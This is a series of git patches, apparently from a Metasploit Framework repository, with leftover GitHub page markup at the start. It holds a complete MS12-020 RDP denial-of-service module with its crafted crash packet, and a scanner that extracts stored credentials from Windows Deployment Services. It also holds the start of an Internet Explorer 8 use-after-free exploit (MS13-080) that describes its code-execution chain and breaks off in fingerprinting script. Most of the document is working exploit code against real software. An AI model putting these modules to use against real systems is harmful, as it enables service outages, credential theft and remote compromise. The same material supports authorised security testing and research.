id='LC126'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC127'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC128'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC129'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC130'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC131'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC132'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC133'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC134'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x0C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC135'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC136'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x38\x00\x06\x03</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC137'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\xF0</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC138'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x09</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC139'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC140'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x21\x80</span><span class="s2">&quot;</span> <span class="c1"># T.125</span></div><div class='line' id='LC141'><br/></div><div class='line' id='LC142'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">unless</span> <span class="n">is_rdp_up</span></div><div class='line' id='LC143'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_error</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - RDP Service Unreachable&quot;</span><span class="p">)</span></div><div class='line' id='LC144'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span></div><div class='line' id='LC145'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC146'><br/></div><div class='line' id='LC147'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">connect</span></div><div class='line' id='LC148'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - Sending </span><span class="si">#{</span><span class="nb">self</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span></div><div class='line' id='LC149'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">sock</span><span class="o">.</span><span class="n">put</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span></div><div class='line' id='LC150'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="no">Rex</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span></div><div class='line' id='LC151'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">disconnect</span></div><div class='line' id='LC152'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - </span><span class="si">#{</span><span class="n">pkt</span><span class="o">.</span><span class="n">length</span><span class="o">.</span><span class="n">to_s</span><span class="si">}</span><span class="s2"> bytes sent&quot;</span><span class="p">)</span></div><div class='line' id='LC153'><br/></div><div class='line' id='LC154'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - Checking RDP status...&quot;</span><span class="p">)</span></div><div class='line' id='LC155'><br/></div><div class='line' id='LC156'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">if</span> <span class="n">is_rdp_up</span></div><div class='line' id='LC157'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_error</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - RDP Service Unreachable&quot;</span><span class="p">)</span></div><div class='line' id='LC158'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span></div><div class='line' id='LC159'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">else</span></div><div class='line' id='LC160'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_good</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> seems down&quot;</span><span class="p">)</span></div><div class='line' id='LC161'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">report_vuln</span><span class="p">({</span></div><div class='line' id='LC162'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:host</span> <span class="o">=&gt;</span> <span class="n">rhost</span><span class="p">,</span></div><div class='line' id='LC163'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:port</span> <span class="o">=&gt;</span> <span class="n">rport</span><span class="p">,</span></div><div class='line' id='LC164'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:name</span> <span class="o">=&gt;</span> <span class="nb">self</span><span class="o">.</span><span class="n">name</span><span class="p">,</span></div><div class='line' id='LC165'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:refs</span> <span class="o">=&gt;</span> <span class="nb">self</span><span class="o">.</span><span class="n">references</span><span class="p">,</span></div><div class='line' id='LC166'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:info</span> <span class="o">=&gt;</span> <span class="s2">&quot;Module </span><span class="si">#{</span><span class="nb">self</span><span class="o">.</span><span class="n">fullname</span><span class="si">}</span><span class="s2"> successfully crashed the target system via RDP&quot;</span></div><div class='line' id='LC167'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="p">})</span></div><div class='line' id='LC168'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC169'><br/></div><div class='line' id='LC170'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC171'><br/></div><div class='line' id='LC172'><span class="k">end</span></div></pre></div> - </td> - </tr> - </table> - </div> - - </div> -</div> - -<a href="#jump-to-line" rel="facebox[.linejump]" data-hotkey="l" class="js-jump-to-line" style="display:none">Jump to Line</a> -<div id="jump-to-line" style="display:none"> - <form accept-charset="UTF-8" class="js-jump-to-line-form"> - <input class="linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" autofocus> - <button type="submit" class="button">Go</button> - </form> -</div> - - </div> - - </div><!-- /.repo-container --> - <div class="modal-backdrop"></div> - </div><!-- /.container --> - </div><!-- /.site --> - - - </div><!-- /.wrapper --> - - <div class="container"> - <div class="site-footer"> - <ul class="site-footer-links right"> - <li><a href="https://status.github.com/">Status</a></li> - <li><a href="http://developer.github.com">API</a></li> - <li><a href="http://training.github.com">Training</a></li> - <li><a href="http://shop.github.com">Shop</a></li> - <li><a href="/blog">Blog</a></li> - <li><a href="/about">About</a></li> - - </ul> - - <a href="/"> - <span class="mega-octicon octicon-mark-github"></span> - </a> - - <ul class="site-footer-links"> - <li>&copy; 2013 <span title="0.03578s from github-fe114-cp1-prd.iad.github.net">GitHub</span>, Inc.</li> - <li><a href="/site/terms">Terms</a></li> - <li><a href="/site/privacy">Privacy</a></li> - <li><a href="/security">Security</a></li> - <li><a href="/contact">Contact</a></li> - </ul> - </div><!-- /.site-footer --> -</div><!-- /.container --> - - - <div class="fullscreen-overlay js-fullscreen-overlay" id="fullscreen_overlay"> - <div class="fullscreen-container js-fullscreen-container"> - <div class="textarea-wrap"> - <textarea name="fullscreen-contents" id="fullscreen-contents" class="js-fullscreen-contents" placeholder="" data-suggester="fullscreen_suggester"></textarea> - <div class="suggester-container"> - <div class="suggester fullscreen-suggester js-navigation-container" id="fullscreen_suggester" - data-url="/jvazquez-r7/metasploit-framework/suggestions/commit"> - </div> - </div> - </div> - </div> - <div class="fullscreen-sidebar"> - <a href="#" class="exit-fullscreen js-exit-fullscreen tooltipped leftwards" title="Exit Zen Mode"> - <span class="mega-octicon octicon-screen-normal"></span> - </a> - <a href="#" class="theme-switcher js-theme-switcher tooltipped leftwards" - title="Switch themes"> - <span class="octicon octicon-color-mode"></span> - </a> - </div> -</div> - - - - <div id="ajax-error-message" class="flash flash-error"> - <span class="octicon octicon-alert"></span> - <a href="#" class="octicon octicon-remove-close close ajax-error-dismiss"></a> - Something went wrong with that request. Please try again. - </div> - - </body> -</html> - +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', + 'Description' => %q{ + This module exploits the MS12-020 RDP vulnerability originally discovered and + reported by Luigi Auriemma. The flaw can be found in the way the T.125 + ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result + an invalid pointer being used, therefore causing a denial-of-service condition. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], + [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], + [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], + [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] + ], + 'Author' => + [ + 'Luigi Auriemma', + 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie + 'Alex Ionescu', + 'jduck', + '#ms12-020' # Freenode IRC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 16 2012" + )) + + register_options( + [ + Opt::RPORT(3389) + ], self.class) + end + + def is_rdp_up + begin + connect + disconnect + return true + rescue Rex::ConnectionRefused + return false + rescue Rex::ConnectionTimeout + return false + end + end + + def run + max_channel_ids = "\x02\x01\xff" + + pkt = ''+ + "\x03\x00\x00\x13" + # TPKT: version + length + "\x0E\xE0\x00\x00" + # X.224 (connection request) + "\x00\x00\x00\x01" + + "\x00\x08\x00\x00" + + "\x00\x00\x00" + + "\x03\x00\x00\x6A" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 (connect-initial) + "\x7F\x65\x82\x00" + # T.125 + "\x5E" + + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # calledDomainSelector + "\x01\x01\xFF" + # upwardFlag + "\x30\x19" + # targetParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # minimumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maximumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x04\x82\x00\x00" + # userData + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x0C" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x38\x00\x06\x03" + # T.125 + "\xF0" + + "\x03\x00\x00\x09" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x21\x80" # T.125 + + unless is_rdp_up + print_error("#{rhost}:#{rport} - RDP Service Unreachable") + return + end + + connect + print_status("#{rhost}:#{rport} - Sending #{self.name}") + sock.put(pkt) + Rex.sleep(3) + disconnect + print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + + print_status("#{rhost}:#{rport} - Checking RDP status...") + + if is_rdp_up + print_error("#{rhost}:#{rport} - RDP Service Unreachable") + return + else + print_good("#{rhost}:#{rport} seems down") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully crashed the target system via RDP" + }) + end + + end + +end From d929bdfaabb712856d20ea73096e717b19970aa9 Mon Sep 17 00:00:00 2001 From: Joe Barrett <barrettj@gmail.com> Date: Sat, 12 Oct 2013 08:09:19 -0400 Subject: [PATCH 189/210] Re-fixing 8419, consistency is important. --- modules/exploits/linux/proxy/squid_ntlm_authenticate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index a06a1dbeea..67fbd95a9e 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependEncoder' => "\x83\xec\x7f", }, - 'Platform' => 'linux', + 'Platform' => %w{ linux }, 'Targets' => [ [ 'Linux Bruteforce', From cad717a186aa57866ea2ffcc851b157f9576d652 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 12 Oct 2013 18:52:45 +0100 Subject: [PATCH 190/210] Use NDR 32bit syntax. Compatible with both x86 and x64 systems. Tidy up the module... --- lib/rex/proto/dcerpc/wdscp/packet.rb | 20 +++++-- .../dcerpc/windows_deployment_services.rb | 57 ++++++++++--------- 2 files changed, 44 insertions(+), 33 deletions(-) diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index f674e059ff..0bd6f6bded 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -19,11 +19,19 @@ class Packet def add_var(name, type_mod=0, value_length=nil, array_size=0, value) padding = 0 - value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + vt = WDS_CONST::VAR_TYPE_LOOKUP[name] + value_type = WDS_CONST::BASE_TYPE[vt] name = Rex::Text.to_unicode(name).unpack('H*')[0] - value_length ||= value.length + # Terminate strings with null char + if vt == :STRING + value << "\x00" + elsif vt == :WSTRING + value = Rex::Text.to_unicode(value) + value << "\x00\x00" + end + value_length ||= value.length # Variable block total size should be evenly divisible by 16. len = 16 * (1 + (value_length/16)) @variables << @@ -51,7 +59,7 @@ class Packet # These bytes are not part of the spec but are not part of DCERPC according to Wireshark # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << Rex::Text.pack_int64le(packet_size+40)*2 + packet << [(packet_size+40)].pack('V') * 2 packet << create_endpoint_header(packet_size) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet.concat(@variables) @@ -60,7 +68,8 @@ class Packet end def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize + return [ + packet_size, # PacketSize 256, # Version packet_type, # Packet_Type 0, # Padding @@ -70,7 +79,8 @@ class Packet end def create_endpoint_header(packet_size) - return [ 40, # Header_Size + return [ + 40, # Header_Size 256, # Version packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... WDS_CONST::OS_DEPLOYMENT_GUID, # GUID diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index a7eb9b6782..564fdef46d 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCUUID = Rex::Proto::DCERPC::UUID - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants def initialize(info = {}) super(update_info(info, @@ -28,11 +28,10 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2, 64-bit. + Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'License' => MSF_LICENSE, - 'Version' => '', 'References' => [ [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], @@ -65,12 +64,15 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax + ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860' + version = 2 + self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 + ndr86, + version, ], 'ncacn_ip_tcp', rhost, @@ -108,8 +110,7 @@ class Metasploit3 < Msf::Auxiliary result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) - print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") end unless result.nil? @@ -143,20 +144,20 @@ class Metasploit3 < Msf::Auxiliary def request_client_unattend(architecture) # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + + guid = '11223344556677578058C2C04F503931' + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) + + # Not sure what this padding is for... + mac = [0x30].pack('C') * 20 + mac << "000c29e0bab8" + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, - "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ - "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ - "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ - "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ - "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + + version = [1].pack('V') + packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) + wdsc_packet = packet.create print_status("Sending #{architecture[0]} Client Unattend request ...") @@ -167,7 +168,8 @@ class Metasploit3 < Msf::Auxiliary data = dcerpc.last_response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('i*')[18] + #puts data.unpack('v*').inspect + op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 vprint_error("No Unattend received for #{architecture[0]} architecture") @@ -192,13 +194,12 @@ class Metasploit3 < Msf::Auxiliary def parse_client_unattend(data) begin xml = REXML::Document.new(data) - - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end - - return Rex::Parser::Unattend.parse(xml).flatten + return Rex::Parser::Unattend.parse(xml).flatten + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil + end end def loot_unattend(archi, data) From 79c612cd67142f100a40471e53a4ed564a70948e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sat, 12 Oct 2013 13:01:17 -0500 Subject: [PATCH 191/210] Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to setup for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. --- .../browser/ms13_080_cdisplaypointer.rb | 308 ++++++++++++++++++ 1 file changed, 308 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb new file mode 100644 index 0000000000..06966c4ced --- /dev/null +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -0,0 +1,308 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", + 'Description' => %q{ + This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally + found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, + around the same time frame as CVE-2013-3893, except this was kept out of the public eye by + multiple research companies and the vendor until the October patch release. + + This issue is a use-after-free vulnerability in CDisplayPointer via the use of a + "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft + the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. + If we use a select() function for the CTextArea element, two important things will happen: + a CDisplayPointer object will be created for CTextArea, and it will also trigger another + event called "onselect". The "onselect" event will allow us to setup for the actual event + handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child + of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger + "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer + object can be forced by using an "Unslect" (other approaches also apply), but a reference + of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after + the CDoc::GetLineInfo call, because it is still trying to use that to update + CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash + finally occurs due to accessing the freed memory. By controling this freed memory, it is + possible to achieve arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3897' ], + [ 'OSVDB', '98207' ], + [ 'MSB', 'MS13-080' ], + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], + [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', {} ], + [ 'IE 8 on Windows 7', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + # Jsunpack first received a sample to analyze on Sep 12 2013. + # MSFT patched this on Oct 8th. + 'DisclosureDate' => "Oct 08 2013", + 'DefaultTarget' => 0)) + end + + def get_check_html + %Q|<html> +<script> +#{js_os_detect} + +function os() { + var detect = window.os_detect.getVersion(); + var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; + return os_string; +} + +function dll() { + var checka = 0; + var checkb = 0; + try { + checka = new ActiveXObject("SharePoint.OpenDocuments.4"); + } catch (e) {} + + try { + checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); + } catch (e) {} + + if ((typeof checka) == "object" && (typeof checkb) == "object") { + try{location.href='ms-help://'} catch(e){} + return "office2010"; + } + 